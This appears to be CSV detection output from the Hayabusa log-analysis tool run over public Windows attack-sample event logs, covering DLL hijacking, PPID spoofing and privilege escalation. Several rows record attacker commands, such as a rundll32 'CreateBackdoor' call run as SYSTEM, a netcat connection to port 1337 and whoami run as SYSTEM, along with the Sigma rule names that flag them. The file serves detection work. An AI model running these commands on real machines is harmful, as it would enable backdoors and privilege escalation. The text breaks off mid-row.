+09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.221 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.234 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.250 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.392 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.421 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.443 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.459 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.499 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:25.548 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor : Path: C:\Windows\System32\rundll32.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:39.226 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: suspicious execution path : Command: nc.exe 127.0.0.1 1337 : Path: C:\Users\Public\Tools\nc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:39.226 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:39.441 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: rundll32 windowscoredeviceinfo.dll,CreateBackdoor",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:45.087 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: whoami : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\system32\cmd.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:45.087 +09:00,MSEDGEWIN10,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:45.087 +09:00,MSEDGEWIN10,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:45.087 +09:00,MSEDGEWIN10,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 14:00:54.689 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 Update Session Orchestrator Dll Hijack.evtx +2020-03-21 21:35:35.026 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence or Exec - Services Management : Command: sc stop CDPSvc : Path: C:\Windows\System32\sc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:35.026 +09:00,MSEDGEWIN10,1,low,Stop Windows Service,,rules/sigma/process_creation/win_service_stop.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:43.104 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence or Exec - Services Management : Command: sc query CDPSvc : Path: C:\Windows\System32\sc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:52.013 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2002.1101.0_x64__8wekyb3d8bbwe\LocalBridge.exe"" /InvokerPRAID: Microsoft.MicrosoftOfficeHub notifications : Path: C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2002.1101.0_x64__8wekyb3d8bbwe\LocalBridge.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\System32\RuntimeBroker.exe -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:55.876 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: net start CDPSvc : Path: C:\Windows\System32\net.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:55.876 +09:00,MSEDGEWIN10,1,low,Net.exe Execution,,rules/sigma/process_creation/win_susp_net_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:55.876 +09:00,MSEDGEWIN10,1,low,Service Execution,,rules/sigma/process_creation/win_service_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:55.897 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\net1 start CDPSvc : Path: C:\Windows\System32\net1.exe : User: MSEDGEWIN10\IEUser : Parent Command: net start CDPSvc,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:55.897 +09:00,MSEDGEWIN10,1,low,Net.exe Execution,,rules/sigma/process_creation/win_susp_net_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:55.897 +09:00,MSEDGEWIN10,1,low,Service Execution,,rules/sigma/process_creation/win_service_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:35:55.919 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:36:03.901 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: whoami : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\system32\cmd.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:36:03.901 +09:00,MSEDGEWIN10,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:36:03.901 +09:00,MSEDGEWIN10,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:36:03.901 +09:00,MSEDGEWIN10,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:36:06.990 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: suspicious execution path : Command: nc.exe 127.0.0.1 1337 : Path: C:\Users\Public\Tools\nc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:36:06.990 +09:00,MSEDGEWIN10,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-21 21:36:24.316 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/Sysmon 7 dllhijack_cdpsshims_CDPSvc.evtx +2020-03-22 06:45:04.922 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_10_1_ppid_spoofing.evtx +2020-03-22 06:45:16.576 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_10_1_ppid_spoofing.evtx +2020-03-22 06:45:16.765 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/sysmon_10_1_ppid_spoofing.evtx +2020-04-26 07:19:00.308 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x4 /state0:0xa38bd055 /state1:0x41c64e6d : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ?",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:02.057 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:02.057 +09:00,MSEDGEWIN10,1,high,Suspicious Svchost Process,,rules/sigma/process_creation/win_susp_svchost.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:02.057 +09:00,MSEDGEWIN10,1,low,Windows Processes Suspicious Parent Directory,,rules/sigma/process_creation/win_proc_wrong_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:20.134 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:22.312 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: \??\C:\Windows\system32\autochk.exe * : Path: C:\Windows\System32\autochk.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:22.596 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 000000cc 00000084 : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:22.630 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 000000cc 00000084 ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:23.220 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 000000d8 00000084 : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:23.222 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: wininit.exe : Path: C:\Windows\System32\wininit.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 000000cc 00000084 ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:23.224 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 000000d8 00000084 ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:23.876 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: winlogon.exe : Path: C:\Windows\System32\winlogon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 000000d8 00000084 ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:24.049 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\services.exe : Path: C:\Windows\System32\services.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:24.054 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\lsass.exe : Path: C:\Windows\System32\lsass.exe : User: NT AUTHORITY\SYSTEM : Parent Command: wininit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:24.188 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s PlugPlay : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:24.194 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.198 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x2 /state0:0xa3b08855 /state1:0x41c64e6d : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.211 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""dwm.exe"" : Path: C:\Windows\System32\dwm.exe : User: Window Manager\DWM-1 : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.225 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.418 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.432 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.482 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.485 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.487 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.600 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s nsi : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:25.603 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.158 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\Upfc.exe /launchtype boot /cv pVnjz5d3jkOKEwXZiJ9/ng.0 : Path: C:\Windows\System32\upfc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.303 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.507 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege 